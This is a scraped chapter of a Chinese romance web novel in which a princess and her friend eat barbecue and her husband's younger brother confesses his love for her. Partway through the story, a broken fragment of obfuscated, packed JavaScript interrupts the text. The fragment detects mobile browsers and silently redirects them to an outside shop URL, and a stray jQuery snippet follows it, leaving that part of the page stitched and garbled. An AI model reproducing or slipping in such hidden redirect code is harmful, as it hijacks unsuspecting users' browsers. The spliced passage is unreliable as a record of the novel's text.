文趣网 > 其他小说 > 成亲后夫君他又争又抢 > 54. 第 54 章
    萧乐仪是头一次来陈昭宁出嫁前居住的公主府。才进大门就看到许多光秃秃的梅树散布在院子的四周。

    “这里好多梅树啊。是你喜欢还是你娘亲喜欢?”她一路走一路问,看什么都觉得稀奇。

    陈昭宁跟在她旁边,“是我先喜欢的,然后我娘亲就在院子里给我种了这么多。”

    “嗯?你为什么这么喜欢梅花?”

    “因为……闻到这种香味我会觉得很安心。”陈昭宁边说边疑惑。

    她是为什么会将梅花的香气等同于安心的味道?

    想着想着,她发觉,原来过去每次慌乱又平静下来的时候都少不了陆轻鸿的身影。而陆轻鸿的身上有着凌冽的梅花香气,不论酷暑严寒,他像是永不凋零的梅花,一次不落地出现在她的身旁。

    是她弄错了因果。

    让她感到安心的不是梅花香气,而是让她安心的陆轻鸿的身上恰好有梅花的味道。

    她在成亲前怎么没有发现?

    那时候她见到陆轻鸿会胸闷气短思绪翻涌,哪怕是想起他也会烦躁郁闷。

    这算什么呢?

    她总以为她是讨厌他的。可此刻让她再次确认过去的厌恶,自己的内心似乎并不甘心。

    “你们再一会儿就可以过来吃了!”院子里的陆江风朝她们的方向高声喊道,他的手一刻不停地翻转着铁签,上面串好的肉在炭火炙烤下,滋滋冒出油脂,肉香与调料的气味混杂着袅袅升起,整个庭院都是烤肉的香气。

    “陆大人,你多烤些!别不够我塞牙缝的!”萧乐仪几乎被香味勾了魂,她没想起走过去说,照样站在原处扯着嗓子回答,似乎这样声音会比她跑得快些一般。

    “没问题!多大的牙缝都给你塞满!”陆江风笑呵呵地回答。

    他小时候就是孩子王,跟谁都能很快熟络起来。面对萧乐仪毫不客气的命令也不觉得有什么奇怪。

    陈昭宁早在他们唱山歌般的大声嚎叫中回过神来。该说不说,这俩身份已经足够高贵,可是用词却粗鄙不堪。谁家好人拿牙缝作为衡量饭量的标准?

    陈昭宁恨不得拿手帕擦擦额角边上不存在的虚汗。

    等陆江风将考好的肉端过来,夜风中青草露珠清新淡雅的香味便被浓烈的肉香替代。

    陈昭宁和萧乐仪坐在石凳之上,两双黑漆漆的眼珠子死死地瞪着陆江风手中的肉串。雪白色的瓷盘上盛了三层肉,有翠绿的葱花做点缀,更是让人食指大动。

    “这是兔肉,这是猪肉,这是牛肉……”他一盘一盘地介绍,但是对面的两个小姑娘似乎一句也没听进去,他端来哪盘她们就去拿哪盘的肉,哪怕烫得呵气也不肯撒手吃慢些。

    这样迫不及待的吃相是对他忙活了半天的嘉奖,简直比他自己吃进肚子里更有满足感。他失笑,跟着慢慢拿起了一串肉送到嘴边。

    陈昭宁跟萧乐仪只是一个眼神的交错,两个人幼稚的攀比心就被点燃,一番视线来往,便默契地抓起肉串往嘴里塞。

    先是陈昭宁,她吃完一串,装模作样地数了数面前的铁签。萧乐仪见了同样不甘落后,囫囵嚼了两口便赶紧吞下,去抽下一串肉。二人沉默地攀比着,脸上的笑容都收敛了。毕竟俗话说得好,想赢的人脸上是没有笑容的。

    “……”陆江风眨了眨眼,心叹公主和郡主如此难看的吃相,应当也是世间少见。

    她们俩的派头做得足,实际上没吃多少串肉后都不约而同地增加了咀嚼的次数,怎么都没见谁能吞咽下去。

    陆江风不动声色地翘了翘嘴角,他正“闷声发大财”,铁签数量反而后来居上。

    等她们开始不动声色地揉肚子时,他慢悠悠地将自己的铁签一字排开,一个个地点着。

    “赢的人有什么奖励吗?”他问。

    陈昭宁和萧乐仪听他这么说,顿时如梦初醒,随后不约而同地斥责道,“卑鄙!”

    陆江风笑容不变,“问你们话呢,奖励是什么?”

    “奖励?没有啊。”陈昭宁摇了摇头。

    陆江风扯了扯嘴角,“没有还吃这么快?都多大的人了。当心晚上不消化。”

    他说话的同时注意到陈昭宁的嘴角边上还沾了一粒完整的白芝麻。

    他无意间伸手,用拇指将其抹去。

    这个举动突然又亲密。陈昭宁反应过来后僵在原地瞪大了眼睛。

    同时一旁喝茶的萧乐仪也跟着受了惊,呛了一大口,不停咳嗽。

    气氛一时凝固。

    “陆江风!你好大的胆子!”

    萧乐仪算是看明白了。

    她虽然对感情之事不放在心上,但并不代表她不懂这些。至少这样的举止,不可能平白发生在普通交情的男女之间。

    除非那男子轻佻放浪。可陆江风显然不是这种人。

    那么,这意味着,这个男人对自己的嫂子……存在非分之想。

    她急匆匆将陈昭宁拉到自己身后,同时自己站起身挡在她身前。

    “公主,何出此言?”陆江风脸上的笑容有些僵硬,眼神也跟着闪动。

    “你还跟我装蒜?刚刚你为何要摸她的脸?你可知她是你兄长之妻?你怎可如此亵渎她!”萧乐仪双手握拳,她眼神里的怒火一览无余。

    陈昭宁担心萧乐仪一气之下会做出什么冲动的事情,便赶紧拉住了她的手,“他不是这个意思……他、他只是脑子缺根筋!不懂什么是男女之防!”

    萧乐仪回头看陈昭宁。她只是为了保护陈昭宁免遭魔爪,既然当事人都觉得正常,她似乎也不该太上纲上线。说到底,他们相处的时间更长……萧乐仪渐渐冷静下来,打算顺着陈昭宁递过来的台阶下。

    陆江风却勾唇轻笑,“昭宁,我就是这个意思。你到底还要回避到几时?我陆江风就是学不会自欺欺人,哪怕今日安阳公主要处置我也无所谓,我就是喜欢你、想要娶你。昭宁,你听到了吗?”

    别说陈昭宁不知如何自处,萧乐仪听到这番直白的话语,同样不知该作何表情。

    事情究竟怎么会变成这样?

    眼前之人的确与陆轻鸿长得一模一样,但是他的性格跟陆轻鸿却截然不同,他不可能是陆轻鸿。可是,父皇的圣旨是将陈昭宁嫁与陆轻鸿的啊……为何陆江风会跳出来横插一脚?到底是哪里出了问题?

    莫非是圣旨下错了?

    萧乐仪自幼便听宫里教习礼仪的嬷嬷夸宣武侯府的家风家教甚佳,男子都是谦谦君子,女子都聪慧善良。她不相信陆江风作为陆家后人会有任何卑劣的心思,可这点同样适用于她对陆轻鸿的看法。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816946|205445||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >萧乐仪瞥见陈昭宁那抿紧的双唇和蹙起的眉头,知晓她正处于进退两难中。倘若这事外传,能有多少人会明白她的清白?关于她的流言蜚语恐怕更是如同溃堤的洪水,无法遏制。

    陆江风是陆轻鸿的亲弟弟,他们以后少不得还要在侯府相见,以后又该怎么把握关系呢?

    偏偏陆轻鸿不在京城,也不知他知晓此事后会有何种反应。

    既然陈昭宁处境如此艰难,不如由她来破局。动之以情晓之以理也好,威逼利诱也罢,此事万万要就此打住。

    “陆大人,可否问你为何偏偏昭昭不可么?”

    陆江风也不打算隐瞒,“我和昭宁自小便相识,她和兄长,是之后才认识的。那时候,我跟她两小无猜。只是我对感情迟钝,直到她嫁人才后知后觉。”

    “原是如此,也算情有可原。可是,他毕竟是你兄长的妻子。你若横刀夺爱,你兄长如何在世上立足?”萧乐仪点点头,循循善诱,并不刺激他的情绪。

    “他们的婚约不过是昭宁的权宜之计。昭宁她早已做好了和离的打算,只是在等时机。等他们和离,我当然有机会娶她。”

    萧乐仪握紧拳头,难道是陆轻鸿泄露的这等机密事情?陈昭宁都有抗旨的打算,她既然无意于陆江风,根本不可能告诉他这个辛秘。

    “恐怕你兄长不会同意。你也知道的,他们感情素来很好。”在她印象中,陆轻鸿和陈昭宁在外表现得都十分恩爱。

    陆轻鸿也同样不愿娶陈昭宁,所以巴不得陆江风撬自己墙角?

    若是这样,萧乐仪更没有理由反对。谁让陆江风比陆轻鸿更会照顾人,陈昭宁跟他并不亏。反而是陆轻鸿,他们关起门来的日子里,陈昭宁到底有没有被他的冷漠寡言伤害?

    萧乐仪发现自己心中的天秤开始摇摆不定。陈昭宁的后半生幸福才是最重要的啊,至于那些好名声,都不过是他人嘴里的闲谈而已!

    陈昭宁听到陆江风所说,却微妙地抓偏了重点。为何陆江风会知道她的和离的打算?是陆轻鸿告诉他的吗?

    她忽然有些看不懂陆轻鸿了。他对自己的爱护都满溢在字里行间和每处细节之中,又为何能够在做决定时能够将她当成陌生人般戒备。是不是她永远都走不进让他信任之人的行列?

    也许,她不过是陆轻鸿养着好玩的宠物。他可以给她所有的爱意和耐心,却得不到他的尊重和信任。

    “你是否在更早之前就已知晓陆轻鸿要去伽罗国的事情?”陈昭宁哽咽着,问陆江风。

    陆江风不知为何她要忽然提起陆轻鸿,但是人已离开,他没有继续隐瞒的必要,“嗯。”

    “你们都知道对不对?只有我一个人被他蒙在鼓里,对不对!”她的眼泪如断线珍珠,一颗接着一颗。

    “不不不,昭昭,我就不知道!我是他走的那天早上被嬷嬷从床上抓起来洗漱时才知道的!你别难过啊。”萧乐仪见状不妙,赶紧抢答,她边说边拿出手帕帮她擦眼泪。

    “可是那天数万人的队伍,我找了一整日,也没有看到他。你看,那人就连离别的日子都没打算告诉我。”

    “……”陆江风这才意识到,兄长或许不小心触碰到了陈昭宁的底线了。

    也或许,他连陈昭宁对他失望的反应也同样算得分毫不差。